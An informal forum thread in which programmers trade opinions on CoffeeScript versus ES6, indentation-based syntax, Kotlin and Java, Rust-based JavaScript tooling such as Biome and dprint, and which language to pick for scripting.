here's another podcast for your entertainment needs from rocman https://podcasts.apple.com/us/podcast/software-unscripted/id1602572955

>>1018387

coffeescript was a cool idea in the days of ES5, but it quickly became obsolete with ES6+ (and Coffee/ES6 are drastically different)

it had some nice syntax features, but also tons of bad ones

I read the links, yeah, Brendan says it influenced him a bit (mainly syntax for arrow functions and class/super), but overall:

>

Anyway, the main motivation is to avoid more grammar complexity. As I’ve noted elsewhere, TC39 won’t go for the kind of disambiguation pass on lexed tokens, followed by (Jison-generated) bottom-up parsing, that CoffeeScript uses.

>

return last value, avoid bind self memetics copied as is into es6

that's one feature (arrow functions)

and here https://brendaneich.com/2011/01/harmony-of-my-dreams/ he actually wanted another syntax for them

dunno why you think coffee was so influential. it was just one of the few transpiler languages around at early 2010, so people had to use it because coding in bare ES5 will drive you crazy (arguably worse than C89)

and features like string interpolation/destructuring/classes/default params exist in basically any scripting language, so ES6 didn't copy them from Coffee

btw indentation instead of curly braces only work in Python and maybe Haskell for some reason

lack of braces in Coffee/Moon is disgusting even Ruby is better because it has explicit "end" (and Lua too)

>>1018425

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lack of braces in Coffee/Moon is disgusting

yeah indent only blocks were hard deprecated by automatic formatting poor python...

>>1018427

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were hard deprecated by automatic formatting

exactly!

with prettier/black I dunno how could I do it all by hand

maybe I had a lot of energy when I was younger...

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i guess rust enums are pretty fun for building compilers

ADT mostly, people love to write compilers/type checker stuff in functional languages. I was mainly OCaml(ML)/Haskell before, flow and first version of rust were written in OCaml

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self hosting is overrated

but fun

>>1018440

also Clojure, Scala. they keep inventing...

but Kotlin, Swift, Mojo seem good because solve real pain point. on the other hand Roc doesn't solve anything, just programming exercise for few people...

if only we could somehow forbid developing of that useless stuff which brings no walue. but dunno how to do that, such system would be prone to corruption because people are flawed creations

>>1018440

rust is complicated enough that few people can somehow spend effort on it

plus it already has a ton of smarties paid to work on it, even random companies like huawei employ people to work on rust with no more briefing than "make it gud idk"

>>1018448

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Kotlin

but i heard java is getting all the good stuff from it like optionals and... was there anything else? basically it was just anotha coffeescript

>>1018472

I'm not into JVM stuff much, but I heard the bestest thing is null safety

and the syntax too. imagine Kotlin=Coffee, Java=ES5 (or even ES3 )

never written more than 500 lines of Java code in my life tho, just can't touch that stuff

maybe because I hate IDEs too

https://github.com/biomejs/biome

rust (native) tooling for JS becomes popular, I like that

people actually aren't that dumb and don't take the "just buy faster computer bruh" meme seriously

but serious harm was already done, millions of hours waiting for completion of inefficient JS scripts written by lazy amateurs...

>>1018487

deno has that for free with dprint tho

another massive win from Ryan, how is he so cool

if only we could combine Rust, TypeScript, Go, Deno VSCode, Chrome, Qt Android, iOS, Windows, Linux into a single thing, imagine the develop experience

>>1018509

but lack of threading in JS/V8 is too bad

dunno what to write scripts/backend stuff in

python+mypy technically can work for scripts such as scraping, but not much better than js, can be even slower than v8 and type checker is stupid

rust is too complicated for scripts/web stuff

golang is nicely suitable but I hate it with passion

welp

if only we could have something in between Go and Rust

maybe Rust with GC, default unsafe and disabled borrow nim?

https://news.ycombinator.com/item?id=38247305

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10k Bounty for Rewriting Prettier in Rust

https://prettier.io/blog/2023/11/27/20k-bounty-was-claimed

so deno's dprint is so cool anymore, we have biomi in nodejs

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>>1018551

need to try rust again

maybe it's not that bad for simple stuff

but probably is